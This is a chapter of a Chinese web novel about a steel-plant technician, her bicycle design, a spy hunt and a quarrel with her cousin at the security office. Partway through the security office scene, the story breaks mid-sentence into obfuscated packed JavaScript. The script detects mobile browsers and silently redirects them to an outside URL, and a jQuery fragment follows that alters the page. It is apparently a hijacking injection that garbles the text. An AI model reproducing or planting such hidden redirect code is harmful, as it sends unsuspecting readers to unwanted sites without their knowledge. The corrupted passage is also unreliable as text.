何越来钢铁厂前在首都机械研究所紧急培训过一阵子，自认为画图的功夫勉强能看。


    叶繁茵接过何越递过来的稿纸，准备看看虚实，“直接给我看呐？这样搞得我好像很小气。”经过多封举报信的指责质问，她准备给自己套一个热情友善爱反思的形象，至于变没变那就是她的事情了。


    想的很好，准备先迈出第一步大夸特夸何技术员，可等叶繁茵看到了实图，她是怎么也张不开口，就这稿子，给她，她能满大街撒。


    就问，谁能看懂！


    “......还行。”就叶繁茵那夸张的表情，何越怎么会看不出，他安慰自己反正叶繁茵不知道他的过往，也不算丢黄老他们几个的脸。


    “……以后不要画了。”叶繁茵扯了扯嘴角，勉强赞美道，“设计还是不错的，也不是没有可取之处哈。”


    这何技术员技术不咋地，这画图的功夫也不咋地，难道是因为这个原因才被降到技术科的？


    这年头工农兵大学生就这质量，栗子粥去了能学到个啥？想起自己远在他乡求学的大侄子，叶繁茵不由得惆怅几分。


    叶繁茵不准备再问，搞不好人家上面有人，钢铁厂里面这种人不少，但被拉下来考察的也就何技术员这一个了。


    她挪了挪位置，坐到两张桌子临近的地方，算是同意在她的设计中给何越加个名字，还是那句话，何技术员的设计样式还是能看的。


    一个小时后，叶繁茵把图稿整理好放到发展书里面，准备去找魏主任。


    就算钢铁厂不做，卖给自行车车厂也不错。


    —


    魏主任翻看着新鲜出炉的稿子不停点头，“小叶，干的不错。”年轻人果然有干劲。


    想起上午他开会得到的消息，魏主任脸色发沉，拉了把椅子让叶繁茵坐下。


    厂长很信任他，特地留下他单独透露了几个消息，前几年失败的仿生齿轮研究计划经确定，有人为破坏的迹象。、


    经过多方审查，已经抓到数名潜伏在各工业重镇的特务，现在还有一个代号为“火甘”的高级特务没有落网，但能确定人就在他们钢铁厂。


    组织派来的调查专员早已潜入，时刻准备逮捕，只差特务冒头。


    魏主任来回把叶繁茵带来的自行车多样性发展计划翻了个遍，按下心头隐隐的不安，接下来厂里必然是一阵腥风血雨。


    他一开始本想着借着去塔城出差的名额把一些已经能确定排除嫌疑的技术员送走。


    看厂长那意思，小叶是必须留下来不可了，魏主任到这能有什么不明白的，他们是想借小叶之手来引特务上钩。


    可小叶有什么，虽然她刚设计改良的轴承生产影响效果很好，但也还没到那种举世瞩目的程度，除了这个也就还有个仿生齿轮。


    想不明白，魏主任决定先放在一边，还是眼下的事情重要。


    “小叶啊，你这计划和图稿我看了。”魏主任把稿子放下，看向叶繁茵，“不错，各种因素分析的都不错，细节设计的也很好。可行性很高。”


    “哈哈哈，都是主任教的好。”叶繁茵难得夸赞了一句。


    “主任，后面的著名你看见了吗？还有何技术员呢，他提供了不少新思路。”


    “……”还何技术呢员？小叶你真的是，人家都给你卖了还给人家数钱呢！


    不提还好，一提何越，魏主任就心梗。


    那小子，原来他还以为是谁的亲戚过来混混资历以后好评等级，结果是个兵过来抓特务的，天天一张臭脸跟谁欠了他几百块，感受不到一点军人的正气。


    原本以为，李厂长当初不顾阻拦坚持让小叶进技术科就有让她做引子的打算，可何越的名字一处来，魏主任就打消了这个念头，李厂长对小叶多好，亲闺女也不过如此了，怎么可能会让她以身犯险。


    一定是何越，这臭小子昨天刚让他和小叶去纺织厂出差，今天就给他搞出来这事儿。


    魏主任扯着嘴角干笑了两下，“小何啊，不错。他也不错。”好的很。


    亏他每次都在厂委面前给说他好话，原来他们是自己人，搞不好背后怎么偷偷笑他。


    没人为他们技术科考虑一点。


    经过这一次搜查，技术科肯定得大换血，小叶他留不住以后技术科可怎么办，他这个主任还能当多久？


    不过事到如今也是没办法了，为了钢铁厂的大局，只能赶着架子往前走。


    魏主任按下脑子里混乱的思绪，手指轻敲着桌面，“小叶你那仿生齿轮研究的怎么样了？仓库的齿轮怎么样。”


    叶繁茵本来就因为魏主任低头不说话，正无聊着，这魏主任话一出，她一下来了精神，“魏主任怎么厂里支持研究仿生齿轮了？”


    “什么话！只要是研究，厂里那有不支持的。”魏主任连忙说道，堵住叶繁茵接下来的话，真让着丫头继续开口准没完没了。


    “你不是去纺织厂那边大夸特夸仿生齿轮有多好！厂里收到他们的消息了，说全力支持你们研究，资金不够还能从纺织厂那边批呢！”说的魏主任都不由得心里发酸。


    纺织厂那群人他也是接触过，不知道用什么方法从沿海引进了一条生产线，还能出口产品，向来眼高于顶。


    能让他们开口，小叶还是有点本事的。


    “你想找谁，我去给你批。老的不愿意干就去找小的。”谁知道待得最久的那批人有没有被侵蚀，这一说有特务，代号还是“火甘”，他怎么感觉车间的那几个师傅都不怎么对劲呢。


    “来真的！那我可就不客气了。”叶繁茵赶紧把何越说的名字给报了一串出来。


    生怕魏主任反悔。


    “停，停！”一串串的听的魏主任头晕，干脆给她撕了一张纸，“把名字，工种，车间都写下来。


    瞧着叶繁茵奋笔疾书，魏主任舒畅地喝了口茶，嗯，凉了。


    “你那自行车计划，我会给你报上去，自行车厂也会帮你联系。”不管怎样现在风雨欲来之前，这都算是给厂里增收，有奖金。


    “行，那我先谢谢主任了，到时候请你吃饭。”叶繁茵高兴道。


    ——


    叶繁茵今天干的开心，解决她两个心头大患，不但仿生齿轮有眉目了，工资也有保障了。


    就是奖金的事忘找魏主任问清楚了，这个月发工资的时候到底能不能下来啊！


    她可不想带着比脸还干净的钱袋子回家。


    月底的惆怅还牵连不到现在的她，叶繁茵决定去国营饭店好好吃一顿庆祝一下。


    叶繁茵下楼骑车正好撞见何越，主动打招呼道，“何技术员明天见！”得立个好形象，这事她没忘。


    “这是小叶技术员吧。”何越还没说话，他身旁的圆脸小干事主动打招呼道。


    叶繁茵面带疑惑，她没见过这个人。


    “小叶技术员还没去过财务科，估计没见过我。”圆脸小干事笑的亲切，“我是财务科的高通，大家都叫我小高。”


    “小高同志你好。”财务科的管钱，不能交恶，就是这高通怎么长得跟董技术员差不多。


    “我刚才还准备让何技术员给你带句话，现在正好遇到你了，就直接给你说吧。”


    叶繁茵点头，财务科的找她能有什么事？


    “上个月工作了十天，给厂里做出重大贡献一项，你的工资还没领呢！”


    叶繁茵：“！！！”惊喜来的太突然，她有钱了！


    没急着走，叶繁茵推着自行车和何技术员，小高干事一起往厂门口走。


    叶繁茵高兴说要请他吃饭，好不容易遇到个专业的，得把工资的问题好好问问。


    这钱啊票啊，到底是怎么发的，她还没搞明白。


    “何技术员也一起去啊！”叶繁茵热情邀约。


    “不用了。”何越依旧拒绝，“晚上还有事。”


    “这都是小事，不用小叶技术员破费”小高干事也连忙摆手，“越…额，何技术员说的对，天儿晚了，额，小叶技术员还是赶紧去吧。”


    叶繁茵听的迷糊，这才几点，天还大亮着。


    她再磨蹭一个钟头天也不会黑，这儿又不是废土。


    叶繁茵瞟见小高干事偷偷擦着头上的虚汗，也没多说什么，直接道，“那我可先走了，回见啊！”


    自行车做过改动，很快便到了厂门口。


    叶繁茵准备去县国营饭店，以前是临溪县著名的酒楼，听说祖上还是御厨，甭管真不真，反正味道是真不错。


    他们的清炖乳鸽，糖醋鲤鱼，炝锅烩面，三鲜豆皮，沔阳三蒸她以前都很喜欢，现在更喜欢了。


    对了，还有回锅肉。


    新来的师傅，祖籍是塔城附近的，回锅肉做的是一绝。


    是叶繁茵的新爱。


    叶繁茵正想的入迷没注意旁边窜出的人影。


    “你给我站住！”人影可不管叶繁茵骑得有多快，冲上去就要拉住她，眼见胳膊没碰到，他连忙弯腰拉住自行车后座。


    “欸！”叶繁茵被拉的猝不及防，暗道回来不久这防备就退化了不少，她想横退后踹过去，又感觉与自己热情友善的形象不符合，顺着力道踉跄了两步，回头皱眉道，“你谁啊！”


    人影见她停下，连忙松手就要上前，找她对峙，“叶繁茵你还敢问，你看你干的好事！”


    “我干的好事可多了去了，你说的那件？”叶繁茵趁他松手连忙骑上车，擦着他的身子往保卫科那里拐。


    车间马上可就下班了，她可不想被人围在中间当猴看。


    这人灰头土脸，走路一瘸一拐，可别碰瓷她。


    她得找人做个见证，不是她撞，是他自己冲上来的。


    “你还敢跑！”


    叶繁茵看到保卫科的冲了出来，可不管他怎么喊，连忙窜了进去。


    车也不要了。


    这人也闷吓人了，跟废土那群行尸走肉的也差不了多少。


    她对这种人有心里阴影。


    “放开，给我放开！”那人挣扎的剧烈。


    “嗷嗷嗷，轻点。”


    “腿上有伤！别碰！”


    “好好好，我不叫了！”


    叶繁茵抱着保卫科同志给倒的茶水，坐在角落里。


    总感觉这人很是熟悉。


    等到何越两人冲了进来，她脑中突然灵光一闪，好像知道是谁了。


    ———


    保卫科隔间里。


    “姓名。”


    “啧，让叶繁茵过来。”


    “我拉车，我不对，我道歉行吧！赶紧让叶繁茵过来。”他不停挣扎着。


    保卫科的同志紧皱眉头，冷眼看着他，“姓名！”


    “警察局可不远，你想去，咱们现在就可以走。”


    “栗文泊。”听到这儿，他老实道。


    不能去警察局，老头子知道了刚才的事得打死他。


    保卫科的同志：“为什么拦住小叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108199|163990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    技术员？”


    栗文泊一听见叶繁茵的名字就来气，又开始叫嚣起来，“我稀罕她，我拦她？是她先对不起我的！”


    “让叶繁茵给我过来！”


    保卫科的几个同志对视一眼，这几句话的信息可不得了。


    小叶技术员处对象了？


    那这厂里可不少小伙子得伤心咯，就是这对象找的不咋滴。


    莽得很，瞧着就不会疼人。


    叶繁茵在外面听的是一头的黑线，会不会说话，嗓门还那么大，生怕别人听不见，谁稀罕谁啊？


    她对破坏伦理关系可不感兴趣。


    守在外面的保卫科同志没拦住叶繁茵，眼睁睁看着她闯了进去。


    他以为被掩饰很好的看戏眼神，正好被何越，高通看个正着。


    高通八卦道：“真是小叶技术员的对象？”


    何越皱眉：“别乱说。”


    叶繁茵揪着栗文泊衣领，直接把他连人带椅子拉倒了地上，“反了天了！我要告诉舅舅，表哥揍死你。”


    保卫科的同志拦不住只能看着两人攀咬了起来。


    “告状！告状！你个告状精！”整天就会告状。


    “去，你去吧！你去说！让老头子直接打死我得了。”栗文泊豁出去了，也不怕叶繁茵告状，扯着脖子便冲她叫。


    “是你先对不起我的，就你有理，你长嘴，你会说。”


    “你再狗叫！”叶繁茵顶着保卫科里好奇八卦的目光，强迫自己冷静下来，问道，“我怎么对不起你了？你给我说清楚。”


    “装，你就装吧，可劲的欺负我。”栗文泊倔强道，“你就会跟着叶繁辰一起欺负我，叶……”


    吼到一半栗文泊意识到自己说错话了，他稍显后悔瞟了叶繁茵一眼。


    看她沉着脸不语，他耿着脖子道，“那，昨天晚上是不是你说的，说我去钢铁厂附近的胡同里面了。”


    “污蔑我，昨天我可没去。”栗文泊说着声音越来越小，真是个破嘴，好好的占着理被这张嘴败光了。


    “......行了，咱们拉平了。”栗文泊说得气弱，“当哥的不和你个丫头片子一般计较。”


    叶繁茵松开栗文泊的领子，没好气道，“昨天晚上我是说好像在胡同里看见了你，没说就是你，你没去怕什么，做贼心虚。”


    “何技术员你来，昨儿下午，我是不是给你说了看到一个人像…像他。”


    何越站在门口应声点头，“在第二条胡同交叉口，背影很像。”


    他想到昨晚送来的资料，两人应该是表兄妹，没什么其他的关系。


    栗文泊像被卡住脖子般，张了张嘴，说不出话。


    “哼，不做亏心事不怕鬼敲门。”叶繁茵冷哼一声，转身作势就要走，“可厉害死了，赶紧把他送警察局，咱们可治不了他。”


    “欸，欸，你别走啊！”栗文泊急了，她走了，他怎么办？


    真给送警察局啊！


    栗文泊连忙冲保卫科的同志解释道：“都是误会，我是她表哥，我们是一家人。事情说开了就好，不用送警察局，家事，家事。”


    这下真让老头子知道了，不仅会打死他还得把他撵出家门，尸体都不给收留。


    “叶繁茵，好妹妹，别走！”栗文泊挣扎着让人给他解开，“姐，叶姐，茵姐，你是我姐行不行！别走！”可别回去告状。


    叶繁茵顺着台阶也就下了，她也有不对，昨儿晚就不该借着栗文泊转移话题，瞧着他的样子说不定舅舅又打他了。


    真的是脑子糊涂了，一回来啥事都忘了。


    他们俩是解释明白拍拍屁股走了，把保卫科的给整糊涂了。


    这到底是兄妹还是姐弟啊？


    一会哥一会姐的。


    “你们说，会不会是俩人骗咱们的啊！”刚没拦住叶繁茵的那个同志小声说。


    “不是吧。”有知情同志说道，“我嫂子家是县政委大院的，小叶技术员的舅舅好像就姓栗，她经常去呢。”


    高通接着问道：“那到底是兄妹还是姐弟？”


    那人挠挠头嘿嘿笑到道：“是兄妹。栗家有两兄弟呢，小叶技术员还有个比她大的侄子呢！”


    剩下的人顾不上他后面爆出来的消息，脑子里全是刚刚栗文泊大叫着叶姐的声音。


    我嘞个倒反天罡啊！


    他们还没反应过来，就被刚离开不远的两人喊回了神。


    “重死了，你是猪啊！”叶繁茵气恼大喊，这人是不是故意往下压，想累死她。


    只见小叶技术员骑着自行车，额，带着她那大块头表哥，和小叶技术比着实是大上不少，他们都怕给压的后翻咯。


    瞧着骑得摇摇晃晃的，众人的心也跟着摇晃不定。


    何越不动声色看了几人一眼，出声道：“徐队长，小高干事，我有事先走了。”


    “欸，我也得走了，回家吃饭，何技术员等等我。”高通给保卫科的徐队长打了声招呼便也跟着离开。


    等从家属院悄无声息的摸到驻扎处，高通没忍住问道，“越队，你说小叶技术员会不会翻车？”他瞧着估计悬的很。


    “你看不出来？她嘴叫的厉害，速度可不慢。你来钢铁厂才多久，这观察技术就不行了，回去加练。”


    他站在门外敲了三声，等应声后推门道：“三队队长越钦州，前来汇报！”


    来不及哭诉，高通立马跟上道：“三队队员高林阳，前来汇报！